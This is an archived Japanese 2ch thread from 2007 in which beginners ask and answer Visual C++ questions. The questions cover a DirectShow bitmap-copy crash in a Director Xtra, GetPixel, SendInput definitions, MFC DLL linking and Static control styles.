タブで移動していって適当なところでリターンしたら『コード編集』できました
とりあえず、ありがとうございます
だけど、コード編集ボタンを直接見たり、押すことはできないんですか?
IEのバージョンを6とかに戻せばいいんでしょうか?
(戻せるのかどうかわかりませんが・・・・)
652
名前:
デフォルトの名無しさん
:2007/03/06(火) 12:45:29
>>644
を見て思ったんだけど
unixのmotifなんかだとあらゆるコンポーネントにほとんど同一のメンバを追加することができる。
windowsのgui開発言語もそうなればいいのに。
653
名前:
デフォルトの名無しさん
:2007/03/06(火) 13:42:57
windowsのgui開発といってもVCに限定してもいろいろあるし
654
名前:
デフォルトの名無しさん
:2007/03/06(火) 13:55:30
リソースエディタはリソースを編集するエディタだから、
リソースの仕様に含まれていない以上、できなくて当然とも言えるな。
655
名前:
デフォルトの名無しさん
:2007/03/06(火) 14:16:21
すいません、質問があります。
MS VC++.NET2003なのですが、
画面をキャプチャする方法をどなたかご存知でしょうか。
画面全体でなくてもいいのですが、
(マウスカーソルの部分の1ドットだけでいいんですが)、
キャプチャしてそこからマウスカーソルの部分の色情報を取得したいと考えています。
よろしくお願いします。
656
名前:
デフォルトの名無しさん
:2007/03/06(火) 14:27:16
マウスのイベントかなんかで
指定された座標のピクセルの RGB (赤、緑、青) 値を取得
657
名前:
デフォルトの名無しさん
:2007/03/06(火) 14:38:18
デスクトップのDC取得してGetPixel
658
名前:
デフォルトの名無しさん
:2007/03/06(火) 16:31:25
どうしてもうまくいかんので質問すま。
http://wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html
のソースを参考にDirector用のXtraを作成中なのです。
んで、ソース中の
BITMAPINFO BitmapInfo;
をヘッダに書くとその直後のCopyMemoryの箇所で落ちるのです。
何故?
ちなみに開発環境はWindowsXP+VC6.0です。
659
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:20:03
> 何故?
コードがおかしいから
660
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:30:33
ドコガオカシインダロウ・・・(;´д`)
661
名前:
658=660
:2007/03/06(火) 17:32:11
ID出ないの忘れてた。
662
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:35:36
落ちるコードを見せろ
つーか、Copyで落ちるならサイズ間違ってんだろ
663
名前:
658
:2007/03/06(火) 17:37:40
HRESULT Cam::initialize()
{
HRESULT hr;
IBaseFilter *pSrcFilter=NULL;
CoInitialize(NULL); // COMの初期化
------------------------------(中略)--------------------------------------------------
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
// ---- キャプチャ開始 ----
pMC -> Run();
//バッファリングを有効にする
pGrab->SetBufferSamples(TRUE);
//ワンショットモードを無効にする
pGrab->SetOneShot(FALSE);
// 画像処理バッファ用メモリ確保
bufferTemp = (BYTE *)malloc(bufsize);
return S_OK;
}
664
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:38:56
(中略)部分は658リンク先のコードのコピペ。
665
名前:
658
:2007/03/06(火) 17:41:24
ヘッダは以下。
#include <windows.h>
#include <dshow.h>
#include <qedit.h> // SampleGrabber用
#include <math.h>
#include <malloc.h>
static const GUID GUID_NULL = { 0x000000, 0x0000, 0x0000, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}};
#ifndef __ATLBASE_H__
#include <atlbase.h>
#endif
IGraphBuilder * pGraph = NULL;
IMediaControl * pMC = NULL;
ICaptureGraphBuilder2 * pCapture = NULL;
ICreateDevEnum * pDevEnum = NULL;
IEnumMoniker * pClassEnum = NULL;
IBaseFilter *pbf = NULL;
IMoniker * pMoniker = NULL;
ULONG cFetched;
IBaseFilter *pF = NULL;
ISampleGrabber *pGrab = NULL; // これらは後で解放すること
long bufsize = DEFAULT_VIDEO_WIDTH*DEFAULT_VIDEO_HEIGHT*3; //必要なバッファのサイズ
BYTE *bufferTemp = NULL;
AM_MEDIA_TYPE amt;
HWND hwnd;
BITMAPINFO BitmapInfo;
HBITMAP hBitmap;
(以下略)
666
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:43:19
コンピュータ名の取得の仕方を教えてください
667
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:43:24
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
ちゃんと取れてるんだろうな。
エラーチェックぐらいは当然やってるよな?
668
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:43:59
>>666
ぐぐれ
669
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:46:00
>>667
いかんせんデバッグモードみたいなのがないのですよ。orz
これがXtra開発の嫌なところで(ry
>>658
のサンプルをコンパイルして実行したら普通に動くのでたぶん取れてるはず。
670
名前:
655
:2007/03/06(火) 17:46:59
>>656-657
まだ確認はとれていないのですが、やってみます。
ご回答ありがとうございます。
671
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:54:40
せめてASSERTくらい入れとけ
672
名前:
デフォルトの名無しさん
:2007/03/06(火) 17:59:29
ちなみに
>>663
中略以降を
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
てな感じにすると普通に動くます。
だけどこれじゃBITMAP情報取れないので意味がない。orz
673
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:10:50
>>672
違いがわからんぞ
BITMAPINFO BitmapInfo; の場所だけか?
674
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:16:49
>>673
そうなのです。
675
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:17:22
Xtraって知らないけど663のCopy前で
BITMAPINFO tmp;
if( tmp.bmiHeader.biSize != BitmapInfo.bmiHeader.biSize)
MessageBox(0,"勘弁してよ",0,0);
ってやったらどうなる?
676
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:20:27
グローバル変数なのかよ。
本来BitmapInfoは可変サイズだからそのまま宣言することは
あまりないんだが、、まあヘッダだけ欲しいならいいのか・・・
まずは、BitmapInfoのアドレスと、sizeof(BitmapInfo)を出してみ
677
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:21:03
あ、だめだ675は忘れて
678
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:21:10
>>675
「勘弁してよ!」って言われた!
・・・つまりどういうこと?(;´д`)
679
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:21:39
>>675
初期化してないbiSizeに意味が?
680
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:25:18
sizeof(BitmapInfo)を出そうとしたら落ちる・・・orz
681
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:26:42
BitmapInfoって名前がよくないw
何かとぶつかってんじゃないのか
682
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:29:52
MessageBox(0,(const char *)&BitmapInfo,0,0);
なんてのを加えたら空ダイアログが出たけどこれ壮大に間違ってますよねorz
683
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:34:05
正直、全体的にツッコミどころ満載。
684
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:35:02
そういうのは、
sprintf(str, "%X", &BitmapInfo);
とかやるもんだ
685
名前:
658
:2007/03/06(火) 18:38:57
>>684
stdioは使えないのですよ。
コンソールとか開きませんし。
686
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:41:41
あ、使えるか。orz
687
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:43:51
アドレス:1000E380
sizeof(BitmapInfo):44
と出ました。
688
名前:
デフォルトの名無しさん
:2007/03/06(火) 18:55:13
で、ZeroMemoryで落ちなくて
CopyMemoryで落ちるのか?
ローカルでBITMAPINFO を作ってそっからコピーしては。
とにかく、オオボケかましてる率98%だからな
689
名前:
デフォルトの名無しさん
:2007/03/06(火) 19:07:42
>>688
大ボケですか・・・orz
class Cam {
BITMAPINFO BInfo;
とか宣言して
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
BInfo = BitmapInfo;
なんてやっても落ちます。
690
名前:
デフォルトの名無しさん
:2007/03/06(火) 19:14:01
初心者スレだから言うけれど
落ちるにも色々あるんだ。
落ちた時のエラーメッセージを貼り付けるとよいかと
691
名前:
デフォルトの名無しさん
:2007/03/06(火) 19:14:22
BInfo = BitmapInfo;
で落ちるのか?
落ちるというのは、その行で落ちるのか?
BInfo.bmiHeader.bfType とか、各メンバにはアクセスできるのか?
692
名前:
デフォルトの名無しさん
:2007/03/06(火) 19:19:25
>>690
A fatal error has occurred. Director will quit now.
と出た後
Warning! Director is completely out of memory and
must exit immediately.
てなダイアログが出て終了しま。
693
名前:
デフォルトの名無しさん
:2007/03/06(火) 19:20:18
>>691
その行で落ちるので以降アクセスできるかどうかもわかりません。
694
名前:
デフォルトの名無しさん
:2007/03/06(火) 19:25:58
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
char str[100];
sprintf(str, "%X", &BInfo);
MessageBox(0,str,0,0);
printf(str, "%d", BInfo.bmiHeader.biWidth);
MessageBox(0,str,0,0);
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
てな感じだと普通に動きます。
695
名前:
658
:2007/03/06(火) 20:32:33
似たプログラムが手元にあるんですけどそっちは普通に動くんですよね・・・。orz
とりあえず、もうちょい一人であれこれ考えてみます。
696
名前:
デフォルトの名無しさん
:2007/03/07(水) 00:09:09
どっかでスタック壊してそうな
こっちで再現できるだけのコードが無いともうわからん
697
名前:
デフォルトの名無しさん
:2007/03/07(水) 09:12:52
SendInput、INPUT構造体、KEYBDINPUT構造体を使おうとしたのですが
ビルドかけると「定義されてません」とコンパイラに怒られます
windows.hはstdafx.h内でインクルードしてあり、stdafx.hもちゃんとインクルードしてます
_WIN32_WINNTの値も問題なく、#ifディレクティブの条件にも合ってます
特に定義がスキップされる要素は無いのになぜ定義されてないと出るのかサッパリわかりません・・・
何か、原因とか手がかりとかわかる方いらっしゃいませんか
698
名前:
デフォルトの名無しさん
:2007/03/07(水) 10:39:38
NOUSER定義してました、とかなら殴る。
問題無いと言っている_WIN32_WINNTの値は、具体的には何だ?
stdafx.hをupした方が早いかもしれんな。
あと、とりあえずVCのバージョンは書いとけ。
699
名前:
デフォルトの名無しさん
:2007/03/07(水) 10:56:52
_WIN32_WINNTだけではなくWINVERも指定しておけよ。
700
名前:
デフォルトの名無しさん
:2007/03/07(水) 11:28:21
バージョンはVC++7.0です
_WIN32_WINNTは0x0500となってました
(winuser.hのSendInput周辺を囲ってる#ifは_WIN32_WINNT > 0x0400でした)
WINVERの方は覚えてないです・・・
701
名前:
デフォルトの名無しさん
:2007/03/07(水) 17:59:19
質問があります。
VS.NET 2003 VC++ の環境で、
フォームにラベルを配置し、ラベルのMouseMoveイベントに以下のコードを書きました。
// ボタン押下しっぱなしであれば移動
if(e->Button == MouseButtons::Left) {
label_sp->Location.X = e->X;
label_sp->Location.Y = e->Y;
label_sp->Invalidate();
}
私は、このラベルをマウスでドラッグできることを予測して
このコードを書きました。
ところが、ラベルはぴくりとも動いてくれません。
なぜなのでしょうか?
702
名前:
701
:2007/03/07(水) 18:48:08
自己解決しました…。
以下に解決に至ったコードを書きます。
// ボタン押下していれば移動
if(e->Button == MouseButtons::Left) {
int X = Form1::MousePosition.X - Form1::Location.X
int Y = Form1::MousePosition.Y - Form1::Location.Y
label_sp->Location = Point(X, Y);
}
多少ズレはありますがこのようにやってみます。
スレ汚しすみません。
703
名前:
デフォルトの名無しさん
:2007/03/07(水) 18:56:45
localtime関数はマルチスレッドで使う場合
スレッドセーフではないと聞きました
VC++2002ですが解決策を教えてください
704
名前:
デフォルトの名無しさん
:2007/03/07(水) 19:01:54
>>703
マルチスレッドは良くない。
705
名前:
デフォルトの名無しさん
:2007/03/07(水) 19:02:36
マルチかよ
706
名前:
デフォルトの名無しさん
:2007/03/07(水) 19:03:16
>>702
label_sp->Location = Point(X, Y); // ここ重要
Location.Xは、返された一時オブジェクトに対しての操作なので、
ラベルには反映されなかった。
707
名前:
702
:2007/03/07(水) 19:27:56
>>706
あ、いえ、あれで実際動いてますよ?
ラベルのドラックができてます。
まだ、マウスカーソルのサイズ分のズレがありますが、それは調整中です。
回答ありがとうございます。
708
名前:
デフォルトの名無しさん
:2007/03/07(水) 19:31:11
>>703
スレッドセーフでないものをスレッドセーフにするには、
ラップすれば良いと何かの本で…
私ごときでは具体例は出せませんが
709
名前:
デフォルトの名無しさん
:2007/03/07(水) 19:52:02
>>703
VC++2002がどんな設定だったか覚えていないが
設定でマルチスレッド対応のランタイムライブラリを選べばOK。
(推測)
それとスレッドの作成に
Win32APIのCreateThreadではなく
C言語用かMFC用のを使えばいいんじゃない。
710
名前:
706
:2007/03/07(水) 20:04:20
>>707
>>701
が動かない理由な。判りにくくてすまそ。
711
名前:
デフォルトの名無しさん
:2007/03/07(水) 20:07:53
>>703
マルチってほんとに便利ですね。いらないスレッドはポイですよ。
【初心者歓迎】C/C++室 Ver.35【環境依存OK】
http://pc11.2ch.net/test/read.cgi/tech/1171888583/331
712
名前:
デフォルトの名無しさん
:2007/03/08(木) 10:59:55
質問に合うスレッドに書き換えただけですがなにか?
713
名前:
デフォルトの名無しさん
:2007/03/08(木) 11:17:00
そもそも、何でスレッドセーフではないのか?
を考えたことあるか?
714
名前:
デフォルトの名無しさん
:2007/03/08(木) 11:58:24
内部の静的な領域を使い回しするからですよね
715
名前:
デフォルトの名無しさん
:2007/03/08(木) 13:16:21
「〜ですけど、何か?」ってすっかり一般的になってるなw
もともとこの言い回し、WhiteAlbumってゲームに出てきたジャーマネの口癖を
パクッたやつだって知ってるヤツはあまりいまい…
716
名前:
デフォルトの名無しさん
:2007/03/08(木) 13:35:25
数年前にはやった
717
名前:
デフォルトの名無しさん
:2007/03/08(木) 14:00:28
6年来の葉鍵板住人だけど初耳だった
718
名前:
デフォルトの名無しさん
:2007/03/08(木) 18:04:21
>>717
だったら「〜ですが何か?PART.XX」ってスレ、何度も目撃してるはずだが…
たしか名前は弥生さんだった
スレ違いスマソ
719
名前:
デフォルトの名無しさん
:2007/03/08(木) 19:49:01
C++で委譲しまくってたら処理を振り分ける部分が恐ろしく複雑で忙しそうになってしまった
最初のうちは入門書に載ってるみたいに色んな機能を併せ持った奴作っていくようにした方がいいんでしょうか?
720
名前:
デフォルトの名無しさん
:2007/03/08(木) 22:56:09
教えてください。
VC .NET 2003 でMFCを使ってプログラムを使うと、他の2003、2000の
環境で「MFC70.DLLがない」というエラーで実行できませんでした。
DLLを入れれば動くのは分かりますが、VCのコンパイルオプションなどで
通常の2000などの環境でも動くように出来ないのでしょうか?
「プロパティ-全般-MFCの使用」でスタティックにすれば実行できましたが、
スタティックにしたために実行ファイルのサイズが大きくなり格好が悪いです。
もっとスマートな方法はないでしょうか?
721
名前:
720
:2007/03/08(木) 22:56:50
> VC .NET 2003 でMFCを使ってプログラムを使うと
VC .NET 2003 でMFCを使ってプログラムを作ると
の間違いでした。
722
名前:
デフォルトの名無しさん
:2007/03/08(木) 23:16:42
寝言?
723
名前:
デフォルトの名無しさん
:2007/03/08(木) 23:56:13
実行ファイルが数MBあったところで、ガタガタ抜かす奴は今時いないから気にするな。
724
名前:
デフォルトの名無しさん
:2007/03/09(金) 00:00:24
>>720
EXEにMFC70.DLLを同梱
スタティックリンク
MFCを使わない
さあどれでも好きなものを選べ。
725
名前:
デフォルトの名無しさん
:2007/03/09(金) 00:04:10
ネットで配布されてるフリーのライブラリを複数併用してると
実行ファイルが凄いことになるよな
併用できるように(試行錯誤で)改造することは出来ても不要なコンポーネントを削ることまでは出来ないから
結局10MbytesのExeとかになっちゃう
そんなのでも一から自分で組むよりはパフォーマンスが良いって言うのが悲しいというか情けないところなんだけど・・・orz
726
名前:
720
:2007/03/09(金) 00:04:15
.NETでMFCを使う以上、仕方がないということですね。
ありがとうございました。
727
名前:
デフォルトの名無しさん
:2007/03/09(金) 00:19:34
>>725
ならんよ。デバッグのままなんじゃないのか
728
名前:
デフォルトの名無しさん
:2007/03/09(金) 14:54:28
10Mのexeはすごいなぁw
どんだけ超大作なんだろうか
729
名前:
デフォルトの名無しさん
:2007/03/09(金) 15:35:37
10MBの実行コードってソースコードにしてどのぐらいだろうね
きっと、いろんな人のコードがいっぱい詰まってるんだね
730
名前:
デフォルトの名無しさん
:2007/03/09(金) 19:57:12
Perlのコードがそのまリテラルとして入ってるんだろ。
731
名前:
デフォルトの名無しさん
:2007/03/10(土) 12:51:17
要らん.lib削ったら5分の1になりますた
ライブラリの機能実験のため一杯詰め込んでたの忘れてましたすいません><
732
名前:
デフォルトの名無しさん
:2007/03/10(土) 13:24:53
質問です。
複数のコントロールをcreateで作成するときに、
リソースIDを割り当てることに困っているのですが、
割り当てようとしているID値が他で使われていないか、
または使われていないID値を返すような関数はありますでしょうか?
よろしくお願いします。
733
名前:
デフォルトの名無しさん
:2007/03/10(土) 17:29:04
自分で管理してないと使いものにならないと思うんだが気のせいか?
使う予定がないんだったら全部staticにしとけばいいし
734
名前:
デフォルトの名無しさん
:2007/03/10(土) 19:25:05
>>732
VC2005ならリソースを選択した状態で編集メニューのリソースシンボル。
新規作成で追加し、そのIDを使うようにすれば管理は多少楽かも。
でも使い勝手は良くないな...
735
名前:
658
:2007/03/10(土) 20:10:15
http://pc11.2ch.net/test/read.cgi/tech/1162913156/268-280
というやりとりを経て戻ってきました。
&BitmapInfo.bmiHeaderの値がおかしい気がするんですが・・・。
736
名前:
デフォルトの名無しさん
:2007/03/10(土) 20:30:23
1. もう一度最初から組みなおす
2. デバッガを上手く使う
3. 諦める
少なからず、デバッガについて機能を調べ上手に利用して
原因を特定していくとかいう根性がないようであれば、
VCとは相性が悪かったと思って別の言語に移った方がいい。
VC(というか、C/C++)は結構面倒だ。
Visual Studio でのデバッグ
http://msdn2.microsoft.com/ja-jp/library/sc65sadd
(VS.80).aspx
C# なんかメモリなんかあんまり考えなくて済むから割とオススメだぞ。
737
名前:
デフォルトの名無しさん
:2007/03/10(土) 20:39:09
実は付近のメモリ破壊していて
そのとばっちりを受けている場合は直すの大変だよね。
まず原因を探すのが大変。
738
名前:
デフォルトの名無しさん
:2007/03/10(土) 20:41:04
>>736
C#使いたいんですがXtraがC++しか対応してないんですよ。orz
739
名前:
658
:2007/03/10(土) 20:49:45
あと、デバッガ使えるなら使ってるんですよ。
いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz
740
名前:
デフォルトの名無しさん
:2007/03/10(土) 20:57:54
> いかんせん組み上げてあとは動くかどうか神頼みみないな検証しかできないので困ってます。orz
良く解らんけど、何故に VC のデバッガが利用できない?
プラグインとして動作するしかないからか?
もしそれならデバッガのアタッチ機能を使え。プロセスに侵入するんだ。
(とはいえ、Mcromedia製の云々っぽいからデバッガに関連する何かはありそうだが…)
それと、デバッガの機能としての
「特定のメモリアドレスにアクセスした場合にブレーク」
も併用するとよいと思うぞ。
741
名前:
デフォルトの名無しさん
:2007/03/11(日) 02:19:13
createで作ったStatic Controに画像(jpg)を表示する処理を入れたのですが、
ソース上では先にcreateしているのに、
実行時には「画像描画」→「createしたStatic Controlの表示」の順になっているためか、
画像の上にstaticがでてしまいます。
どうにかならないでしょうか・・・よろしくお願いします。
742
名前:
デフォルトの名無しさん
:2007/03/11(日) 08:31:18
Staticつかう意味があるんだろうか?
743
名前:
741
:2007/03/11(日) 08:53:50
>>742
当方、Staticじゃないと表示させられないという認識でおりました。
他のコントロールでも表示できるのであればそちらでよいと思ってます・・・
744
名前:
デフォルトの名無しさん
:2007/03/11(日) 09:24:02
staticが表示するのと別のものを自分で表示するんだったら
static使う意味がないんじゃないかということ
745
名前:
743
:2007/03/11(日) 09:43:50
>>744
説明がちょっとわかりづらくなっていました。すみません・・・
Static Controlの枠の上にjpgを乗せるということをやりたかったんですが、
どういうわけか画像がStatic Controlの下に隠れてしまうんです。。。
Static Controlの属性が悪いのかなあ・・・
746
名前:
デフォルトの名無しさん
:2007/03/11(日) 11:21:22
Static Controlのウィンドウスタイルだろ
オレもSTATIC並べて枠と座標だけ利用することはたまにやる
747
名前:
743
:2007/03/11(日) 11:26:02
>>746
回答ありがとうございます。
そのときのStatic Controlのウィンドウスタイルは
どのようになっていますでしょうか?
私は
SS_BITMAP | SS_WHITERECT | WS_BORDER | WS_VISIBLE
でやっているのですが、なにか足りないものがあるでしょうか・・・
よろしくお願いします。
748
名前:
デフォルトの名無しさん
:2007/03/11(日) 12:14:23
ビットマップも表示するんだ
749
名前:
デフォルトの名無しさん
:2007/03/11(日) 12:17:05
SS_BITMAPは自分で中も描いちゃうから消えるだろ
750
名前:
743
:2007/03/11(日) 12:48:39
>>748-749
SS_BITMAPを消してみましたがまだ駄目みたいです・・・
泣きそう・・・
■過去ログ置き場に戻る■
1-
前250
次250
最新50
DAT2HTML
0.33f Converted.